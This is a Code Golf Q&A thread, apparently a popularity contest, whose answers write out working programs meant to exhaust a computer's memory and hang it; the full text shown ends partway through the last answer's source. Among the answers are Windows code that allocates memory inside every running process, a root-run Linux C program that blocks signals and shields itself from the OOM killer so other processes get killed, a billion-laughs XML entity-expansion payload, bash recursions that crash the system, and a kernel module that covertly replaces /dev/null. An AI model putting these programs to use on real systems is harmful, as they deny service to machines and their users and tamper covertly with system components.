Create a memory leak, without any fork bombs

54

33

Your task is to create a memory leak. This is a program that uses loads of memory, until the computer runs out and has to do some swapping to save itself from running out. The only way that the memory can be released is by killing the program in the task manager or using a command line kill such as taskkill /im yourprogram /f (in Windows) or even restarting the computer. Merely closing the app should not prevent it from continuing to hog memory.

Rules:

  1. Fork bombs of any sort are banned. That means that infamous Bash line :(){ :|:&};: is banned!

  2. The application must be single-threaded only. This implies the fork bomb rule.

  3. The program must not run other programs. This means that you can't just do something like run(memoryfiller.exe). The only exception to this is programs that are bundled with your OS or language, that are not primarily designed to consume memory (i.e. they have another purpose). This means that things like cat and ln -s are permitted.

  4. You can take up as much memory as you like. The more the better.

  5. Code must be explained fully.

Good luck. This is a popularity contest so the code with the most votes after 10 days from the asking date wins!

George

Posted 2014-03-18T22:17:51.460

Reputation: 1 355

Question was closed 2016-02-05T23:05:27.283

I'm closing this question as off-topic because it's asking for, in some sense, malicious software, which we do not allow. – Alex A. – 2016-02-05T23:05:27.283

8"Closing it should still make it hog memory" - if a program is a shell executable (like most of windows versions of scripting language interpreters are), closing its window will kill the program. – mniip – 2014-03-18T22:25:36.427

54Isn't this just while(1)malloc(999);? – Doorknob – 2014-03-18T22:32:21.960

10I'm not sure if "Closing it should still make it hog memory" is compatible with "The application must be single threaded only." If no thread has a chunk of memory, the OS can take it back, right? – aebabis – 2014-03-18T22:34:41.767

Does writing an infinite string to a file count? – None – 2014-03-18T23:40:51.310

51Just run firefox 26 with a few tabs open running flash for a half hour. It'll bring your computer to its knees. – Braden Best – 2014-03-19T04:01:37.990

1@mniip. That's the whole point of the challenge. To make a difficult challenge. And doorknob. I wanted something different! ;) – George – 2014-03-19T08:15:27.617

@GeorgeH my previous comment was a troll (I apologize for that) See my answer which hangs computer in 2 second! Once started, your computer will hang so don't try! – Mukul Kumar – 2014-03-19T08:46:03.457

1"Closing it should still make it hog memory." without spawning some secret processes this is not possible on unices unless you exploit some kernel memory leak or mess directly with the os. You'd need a windows platform (preferably win98 or older) to do that with a conventional code. – orion – 2014-03-19T10:02:34.070

Is overriding garbage collection so that nothing happens a valid answer? – David Wilkins – 2014-03-19T12:37:25.157

@David. Thats fine, Garbage collection can be overridden for this. – George – 2014-03-19T15:54:56.953

Why specifically without fork bombs? Banning one technique is like saying "no Python" or "can't use BeOS". It just seems silly. – user2357112 supports Monica – 2014-03-21T01:41:43.173

You can always install Windows... that'll give you several interesting memory leaks, some of which have been there a really long time. You can also run malloc's, and store into the memory location given to you by malloc, until it barfs up and gives you a 0.L as an error code ("Nil Pointer"), then store into location 0, and see how long the machine lives. Judging by how many "zero-stores" I have seen in many places, Microsoft and Apple run neck and neck with Nil pointer references. grin Dave Small – None – 2014-03-21T02:25:00.993

1By "must be single threaded", do you mean "must not explicitly start any threads?" As a comment on the current most popular answer notes, some language runtimes have multiple threads behind the scenes, which effectively excludes those languages from the challenge. Furthermore, @acbabis raises a valid point. I don't know of any languages where "closing the program" wouldn't at least stop the main thread from running. Without at least allowing threads opened in the background by standard libraries (such as GUI threads) or the runtime itself, this seems like an impossible challenge. – jpmc26 – 2014-03-22T08:26:20.323

@jpmc26. No. I mean you cannot use memory by starting threads so like you cant use for x in range(100000) to spawn loads of threads to take up memory. – George – 2014-03-22T19:59:10.243

How do you define "merely closing the app"? Closing all windows belonging to the process, or must the process itself be terminated? What if the program runs entirely in the background? What's the difference between "closing the app" and "killing the program" then? – hpsMouse – 2014-03-26T16:53:21.680

@hpsMouse. Closing is pressing the close button (the X in the top right corner). Killing it is going into task manager and clicking end task, or going into processes and ending the process – George – 2014-03-26T19:54:47.870

I wonder if I should remove the 10 days part!! – George – 2014-04-21T19:53:45.593

Answers

78

Windows

The Win32 API allows you to allocate memory in other processes, and then to read/write that memory remotely. This program has only one thread, which it uses to enumerate each running process on the system, and then repeatedly allocate 1MB buffers in each process until the allocation fails. When it finishes with one process, it moves on to the next. The allocations are not released when the calling program finishes - only when/if each target process finishes. This hangs a 2GB Windows 7 VM in about 10 seconds. It does require running as admin.

To compile: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}

nobody

Posted 2014-03-18T22:17:51.460

Reputation: 898

9Windows is evil. – tomsmeding – 2014-03-19T16:49:42.550

4I need to shut down tonight. Ill give this a go ;) – George – 2014-03-19T23:10:42.440

1" (running as a normal user, not using admin privileges" - not sure about this, you need SeDebugPrivilege which by default is not present in regular user's token – rkosegi – 2014-03-21T07:55:44.650

@rkosegi Thanks, fixed. – nobody – 2014-03-21T15:06:46.487

14+1 This deserves many upvotes as it so far is the only answer that meets the original Closing it should still make it hog memory requirement. Very creative solution :-) – Daniel – 2014-03-21T17:16:03.427

@rkosegi: Sure about SeDebugPrivilege? AFAIR (my Win32 times are a while ago) you do not need it for own processes, and there surely are a few around. – Daniel – 2014-03-21T18:35:17.877

Hi @Daniel, according to http://msdn.microsoft.com/en-us/library/windows/desktop/ms684320%28v=vs.85%29.aspx and also my little experience, I needed to adjust token (even if I was admin on WinXP) to make it work.My program was simply opening specific processes, enumerated it's threads and kill them.Maybe I wrong here, that's why I said "I'm not sure", but MSDN said so.BTW Andrew is accessing not just own thread in his answer.

– rkosegi – 2014-03-21T20:03:30.503

@rkosegi: "opening specific processes" is the key here. What processes? If they have been create with the same token than leak.exe, their DACL should grant you access. Basically, everything you could (as a non-Admin) kill from TaskManager should also be leakable by this nice prog. (SeDebugPrivilege is the one that, if enabled, bypasses any process DACL, so you can also access foreign processes.) – Daniel – 2014-03-21T20:58:03.573

Is the WriteProcessMemory() really necessary? In theory, MEM_COMMIT of VirtualAllocEx() should be enough. Also, you probably do not need PROCESS_ALL_ACCESS, but only PROCESS_VM_OPERATION. – Daniel – 2014-03-21T21:00:41.343

@Daniel you're right that it's the only solution that still hogs memory when it gets killed. But the requirements state that it's fine if the memory is released when the program is killed. Therefore my solution also fullfils that requirement, by disabling any way to normally terminate the program. Killing it is the only way to stop it from running. But Andrew Medico definitly has a special way to keep the memory leaked after termination. That's really a nice one ;) – foobar – 2014-03-21T22:14:50.640

The RAM Disk and shared memory based approaches also still hog memory after being killed. This solution does deserve plentiful upvotes for the shear perverseness of allocating memory in other processes, though. – gmatht – 2014-03-24T18:54:08.467

Congratulations! You have won the contest :) – George – 2014-04-21T19:55:34.443

72

Java

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

Explanation

You might assume that since there are no references in the code (other than count, which you can safely ignore), it can't leak. However, the finalizer creates two new Hydras, and whilst it doesn't hold references for these either, they'll hang around until finalized. This means that the program only leaks memory during garbage collection - hence the calls to System.gc() and System.runFinalization().

James_pic

Posted 2014-03-18T22:17:51.460

Reputation: 3 988

7@TimS. where's your god now?!? – Cruncher – 2014-03-19T15:20:18.647

Are System.gc() and System.runFinalization() necessary? That is will the gc randomly run sometimes, or do you have to either fill some memory, or call gc? – Cruncher – 2014-03-19T15:22:48.400

4In a typical program, System.gc() and System.runFinalization() wouldn't be necessary. Garbage collection would happen naturally due to memory pressure. However in this application there's no memory pressure until garbage collection starts running. I thought about artificially introducing some (for example, by moving new Hydra() inside the loop), but figured this was more evil. – James_pic – 2014-03-19T15:27:16.167

The application can simply be terminated so the operating system can recover the memory you acquired. The problem is that the finalize method is only invoked when an object is garbage collected, but no garbage collection is performed on shutdown, allowing to break your finalization loop... Additionally your code breaks rule #2, because invoking System.runFinalization() spawns a secondary finalization thread in addition to the primary one that is always created by the virtual machine. – foobar – 2014-03-20T13:40:28.117

1Yeah, I didn't pay much attention to "Closing it should still make it hog memory" caveat, as it didn't seem meaningful (apart from neat OS hacks like @german_guy's). Java always spins up a finalization thread, so perhaps there's no way for a Java application to obey rule #2. – James_pic – 2014-03-20T13:58:29.963

I also think that rule #2 is a grey zone in this case and the more I think about it, it's okay... But can't you also block any terminating signals in Java? If you do that, your code would satisfy the rules and requirements and you'd have a nice solution to the given problem. – foobar – 2014-03-21T15:20:56.240

AFAIK, blocking terminating signals is a bit of a black art, especially if you want to do it portably. I figured other answers would have interesting ideas on blocking termination, and I'd just post an evil way to leak memory. – James_pic – 2014-03-21T17:00:32.563

1On Unix systems, you cannot block SIGKILL (signal 9), so you cannot make your program unstoppable (well, except if you manage to get it into a state of uninterruptible wait ... so maybe remote-killing an NFS server whose files you access might work ;-)) – celtschk – 2014-03-22T23:46:41.333

Wow. I was going to complain about the use of System.gc() until you pointed out the Finalizer block. Clever!

+1 for demonstrating why Java programmers still need to worry about memory! – avgvstvs – 2014-03-24T12:29:11.277

@celtschk it's okay that you can't block SIGKILL. According to the task, it's the only legit way to give the memory back to the operating system. – foobar – 2014-03-24T15:08:55.320

Hello. Sorry about this, but one of the rules of the program says it still has to hog memory when it is closed. Therefore sadly, even though you have the most upvotes, I am going to have to give the answer to the second placed answer. I am really sorry :( – George – 2014-04-21T19:55:11.840

No worries. I knew I was bending the rules, and I was surprised to get as many upvotes as I did. The winning entry is suitably evil. I was a bit disappointed that @german_guy withdrew his entry - it was my personal favorite. – James_pic – 2014-04-22T08:22:26.827

37

C

Using the C programming language and tested with Linux kernel 2.6.32-49-generic and libc-2.11.1.so.

The only way that the memory can be released is by killing the program in task manager or using taskkill /im yourprogram /f or even restarting the PC.

This is achieved by blocking any signals except for SIGKILL and SIGSTOP.

Closing it should still make it hog memory.

This actually confused me... Killing or closing it both results in termination of the process, allowing the operating system to claim back any memory that was allocated by the process. But then i got to think that by closing it you might mean to close the terminal or any other parent process that executes the memory leaking process. If i got that right, then i solved this problem by blocking any signals, which turns the process into a daemon when the parent process is terminated. That way you can close the terminal the process is running in and it will continue running and proceed to leak memory.

Fork bombs of any sort are banned. That means that infamous bash :(){ :|:&};: is banned!

The process does not fork.

The application must be single threaded only. This implies the fork bomb rule

No new threads are spawned.

The program must not run other program. This means that you cant just do something like run(memoryfiller.exe)

No new processes are spawned.

You can take up as much memory as you like. The more the better.

As much as the operating system can provide.

Code must be explained fully.

Added comments to the source.

And finally here's the code:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

For anyone who's interested in what happens if you keep this program running: On my test system with 2GB RAM and 4GB swap space it took about 10 minutes to fill up the RAM and swap. The OOM killer started its work and three minutes later kind of all processes have been killed. Even mouse, keyboard and display have been dropped by the system. /var/log/kern.log shows no useful information, except for the processes that have been killed.

foobar

Posted 2014-03-18T22:17:51.460

Reputation: 1 020

I edited the source to make the oom killer ignore the process and kill innocent processes to free memory instead. – foobar – 2014-03-19T21:58:35.387

5For anyone who's interested in what happens if you keep this program running: On my test system with 2GB RAM and 4GB swap space it took about 10 minutes to fill up the RAM and swap. The OOM killer started its work and three minutes later kind of all processes have been killed. Even mouse, keyboard and display have been dropped by the system. /var/log/kern.log shows no useful information, except for the processes that have been killed. – foobar – 2014-03-19T23:23:53.673

Haha, that's wonderful! You should edit that description into your answer. +1 – Doorknob – 2014-03-20T22:07:14.883

Would be nice if the one who downvoted would leave a comment why, so I have a chance to improve my answer. – foobar – 2014-03-21T22:02:26.633

1I didn't downvote, but it would be nice if the code could be formatted so no horizontal scrolling is necessary to read the comments. – Paŭlo Ebermann – 2014-03-24T14:44:30.203

To allocate your memory faster, grab it with mmap instead of malloc. – pts – 2014-03-24T18:31:18.287

2+1 for 1) causing processes handing input/output devices to be killed and 2) creating a program that's hard to track from the logs. This is mustache-curling levels of evil. – Kevin – 2014-03-25T01:10:33.730

28

Pure Bash

Not a fork-bomb, I promise:

:(){ : $@$@;};: :

It looks a lot like a fork bomb, and uses a similar recursive technique, but no forks. Of course this will run your shell right out of memory, so you are advised to start a new shell before pasting this command.

  • Define a function called :
  • The function simply recursively calls itself with $@ (arg list) doubled
  • After the function definition, the : function is called with an initial arg :

Output:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

In a previous edit of this answer I did a=$(yes), but I noticed the rule "The program must not run other program", so I need to use pure bash instead without calling any coreutils or anything else.


Here's another one:

PLEASE DON'T RUN THIS ON A PRODUCTION MACHINE

:(){ : <(:);};:

Again, this is not a fork bomb - everything is run from within one thread. This one seems to quite handily bring my Ubuntu VM to its knees, with little room for recovery, other than reboot.

As in the classic fork bomb, a recursive function :() is defined. However it does not fork out calls to itself. Instead it calls itself with one argument, which is itself called in a process substitution. Because process substitution works by opening an file descriptor /dev/fd/n, this not only eats up process (bash) memory, it will also eat up some kernel memory too. On my Ubuntu machine this has the effect of making the window manager inoperable after a few seconds, then shortly after ending up with this screen:

enter image description here

Clicking OK then gives this screen:

enter image description here

None of these options seem to be much help - at this point restarting seems to be the only good option.

Digital Trauma

Posted 2014-03-18T22:17:51.460

Reputation: 64 644

This doesn't work for me... sort of... I can see the memory gradually going away, but this happens very slowly, and it also can be killed by just pressing ctrl+c. It's running now for 1 minute and it's occupied about 1GB. I have a VERY fast machine... but that shouldn't matter, right? – Stefanos Kalantzis – 2015-12-05T00:41:25.153

Replying to my own comment: The command actually killed the bash after about 2mins 49sec. I originally assumed it's going to instant based on this answer. – Stefanos Kalantzis – 2015-12-05T00:49:07.520

@StefanosKalantzis Thanks for your comments. It made me think a bit more and I just found an even more evil shell snippet - see edit. – Digital Trauma – 2015-12-05T05:59:59.463

3$ which yes -> /usr/bin/yes – Izkata – 2014-03-19T01:44:40.157

2"The only way that the memory can be released is by killing the program in task manager or using taskkill /im yourprogram /f or even restarting the PC. Closing it should still make it hog memory." >> The bash can be terminated using a SIGTERM, so killing it is not required to make it stop running. Also it stops running when the system runs out of memory. Once the bash terminated, either by SIGTERM or by running out of memory, the memory is given back to the operating system. – foobar – 2014-03-20T12:47:19.857

24

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

Then pass the document to an XML parser that doesn't do entity reference loop/recursion detection. For example, xpath included with perl:

xpath boom.xml /

How it works:

  1. The parser encounters <boom a="&a;">
  2. The parser expands "&a;" into "&b;&b;"
  3. The parser expands one of the "&b;" into "&c;&c;" (on return, it will expand the other "&b;")
  4. The parser expands one of the "&c;" etc...

If full expansion could occur, there would be 2^52 expansion of "ka-boom!". Assuming 2-bytes per character, it will try to use 64 PiB. The expansion goes "ka-boom!" at a time, so you can usually watch it use up all memory in top.

This goes by various names, good overview here: http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion

ɲeuroburɳ

Posted 2014-03-18T22:17:51.460

Reputation: 401

3

Essentially a copy of Billion laughs

– Cole Johnson – 2014-03-21T03:46:45.687

@ColeJohnson Yup that's it! I contributed to the WASC Threat Classification project, so I felt obligated to point to WASC rather than Wikipedia. :) – ɲeuroburɳ – 2014-03-21T22:28:26.017

22

C++

int main()
{
    for(;;)int *a=new int;
}

This code was unexpected! It hung my computer while the task manager was open and showed that it took 890 Mb of memory in 1 second then it also hung. I don't know how this works, maybe it keeps on giving memory to a variable.To explore more of this code I added a statement delete a; and every thing was fine while testing (no hanging) So, I think that the chunk of memory is given (due to new int) and then taken back (due to delete a) to the free space in the new code below.

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

So, I conclude that NO RAM IN THIS WORLD CAN HANDLE THIS CODE!!!

EDIT : But many processors can for e.g. intel core 2 duo can't handle this code but
intel core i-series can (worked for me...)

Remember the answer to the question is the 1st code , second one is for explanation.

Mukul Kumar

Posted 2014-03-18T22:17:51.460

Reputation: 2 585

9Nice, the compiler thinks you are still going to use the new int even though you overwrote the pointer, so you can never access it again...So no garbage collection is called and you fill up memory faster than a fat kid eats skittles – David Wilkins – 2014-03-19T16:14:52.557

37@DavidWilkins: ...this is C++, C++ has no garbage collector. – Phoshi – 2014-03-19T16:22:54.827

@Phoshi thanks for correcting me...C++ leaves that up to you – David Wilkins – 2014-03-19T16:44:20.273

Haha this solution is the first one that came to mind when I read the question. – CompuChip – 2014-03-19T20:35:51.310

32If it's unexpected to you that this code leaks, then I think you shouldn't use C++ until you learn it better. – svick – 2014-03-20T13:00:05.707

1@svick But its not also like hitting dart-board in dark! I had some Idea that this will do the job question wants. – Mukul Kumar – 2014-03-20T13:11:55.247

15@svick How the hell is he supposed to 'learn it better' if he 'shouldn't use C++'? – Kevin – 2014-03-20T22:04:47.640

@Kevin I meant not use it in production or post code as answers on Q&A sites. Of course writing throw-away code to learn is okay at any level. – svick – 2014-03-20T22:10:26.433

1He should use a modern language, if you want no GC and static types but nice modern bells and whistles try rust – alexandercannon – 2014-03-21T15:40:45.343

1@a_programmer well, if you want bugs in your code you have to switch to older versions! – Mukul Kumar – 2014-03-21T15:42:52.260

There is nothing unexpected in the first code. An object may do any stuff it wants, for example adding itself to a list in another translation unit; or even cleaning up itself. The compiler cannot make guesses about how unused an object actually is. This is important in some situations, for example wrt scoped-locking in multithreading. – phresnel – 2014-03-24T08:24:03.250

16

BrainFuck

+[>+]

Explanation:

To enter the loop it increases the cell to 1. It moves to the next cell increasing that to 1 as long as the last cell was positive.

Usually A BrainFuck interpreter is flawed with having a hard limit to the number of cells on the tape, but some interpreters adds cells dynamically. These will continue to consume memory until it's no more to consume.

beef is one such interpreter and it's available in the Ubuntu Software Center and my current run on an unused machine started 29 hours ago and has consumed 1GB of RAM in that time. Here's the the output of top

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

It has 4GB of cache and 6GB of swap so I guess I'll update this answer with how it went in about 12 days.

UPDATE 03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

UPDATE 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

So it's been running for 10 days. Seems like it will be running for at least 10 more before something interesting happens.

Sylwester

Posted 2014-03-18T22:17:51.460

Reputation: 3 678

Nice and short. – nrubin29 – 2014-03-21T16:18:27.797

15

C and POSIX

Here I am aiming for a highly portable solution. The problem is that pure C doesn't seem to have a way of telling the Operating System that the memory should remain allocated after the program closes. So I allow myself to use POSIX; most OS's have some claim to POSIX compatibility including Windows, Linux and MacOS X. However, I have only tested it on Ubuntu 12.04 32bit. It does not require superuser permissions.

This solution is essentially the traditional while(1){malloc(1);} solution. However instead of malloc, it uses the POSIX shared memory functions. Since it assigns a shared memory identifier to each allocation, it is still possible to access the memory once the process terminates. Thus the kernel cannot free the memory.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}

gmatht

Posted 2014-03-18T22:17:51.460

Reputation: 676

Best and most brilliant C answer IMO. +1 – syb0rg – 2014-03-23T17:47:27.087

1Nice one. The first solution i came up with was Andrew Medico's, but as that isn't possible on Linux and as I don't like Windows programming, I wanted to leak through shared memory, but couldn't remember the POSIX function names. Thanks for remembering me of them ;) All I found was only mmap stuff that is unmapped on process termination... – foobar – 2014-03-24T14:52:05.367

14

C#

Forgetting to unsubscribe from events before the handler goes out of scope will cause .NET to leak memory until it throws OutOfMemoryException.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

Explanation: Inside the while loop, we construct a new object, causing the framework to allocate more memory, but we also prevent the new instance of B from being released when it goes out of scope by assigning an instance method to an event in a different class, the result being that the new instance of B becomes unreachable from our code, but a reference still exists, meaning the GC won't release it until a also goes out of scope.

Static events have the same pitfall, since they never go out of scope, they're only cleaned up when the process terminates, unless you unsubscribe from the event first. Always store your references, people!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

The above works on the same idea, the handler becomes unreachable once the while loop goes out of scope, making it impossible to unsubscribe from the event, meaning the memory will sit there until the program terminates. Static events are arguably more dangerous than instance events, because you can ensure they never go out of scope.

EDIT: You can also do the same with basically any other object as well, just as long as you add a reference while at the same time ensuring there's no way to free that reference.

Here's an example that uses static objects and arrays.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

Arrays keep being added to the list, but there's no way to clear the list without modifying the code, which would be impossible for closed-source applications. Increasing the number passed to Leak.Add will cause it to leak faster, if you set it high enough it will just result in an immediate OverflowException being thrown.

Tony Ellis

Posted 2014-03-18T22:17:51.460

Reputation: 1 706

10

bash (no external utilities)

No fork bomb here.

Warning: It might kill your shell.

Just trying to create an array of integers for reference because I keep forgetting how integers look like.

while :; do _+=( $((++__)) ); done

Results in:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)

devnull

Posted 2014-03-18T22:17:51.460

Reputation: 1 591

2+1 for "because I keep forgetting how integers look like" :) – David Conrad – 2014-03-21T20:14:46.467

8

J (7)

WARNING: This froze my system when I tried it (Windows 8, J 8.01, in the qt terminal).

2#^:_[_
  • 2# doubles the length of the argument by duplicating each element,
  • ^:_ finds the fixpoint of the given function (but there isn't one so it loops endlessly),
  • [_ calls it with _ as the argument.

marinus

Posted 2014-03-18T22:17:51.460

Reputation: 30 224

8

Haskell (Graham's number)

It's very simple: this calculates the Graham's number

Unlike other examples here, it won't run forever... it will use a lot of cpu, but theoretically it could terminate. if it weren't for the fact that to store the number...

the observable universe is far too small to contain an ordinary digital representation of Graham's number, assuming that each digit occupies one Planck volume.

(according to wikipedia)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

So, the idea is that the memory will be used by a (series of increasingly) enormous Integer(s) (Haskell's Integers are of arbitrary size).

If you want to test it out, you might have to increase the stack size or load it inside ghci.

berdario

Posted 2014-03-18T22:17:51.460

Reputation: 241

2Dumb universe, not conforming to the Haskell standard for Integers. Why can't it support arbitrary size? – PyRulez – 2014-07-08T02:59:48.370

6

Inspired by @comintern.

Replacing /dev/null. Engaging sneaky mode. Requires kernel headers, superuser mode and a working compiler.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

Have fun.

Makefile:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

Source code:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <florian@n0la.org>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
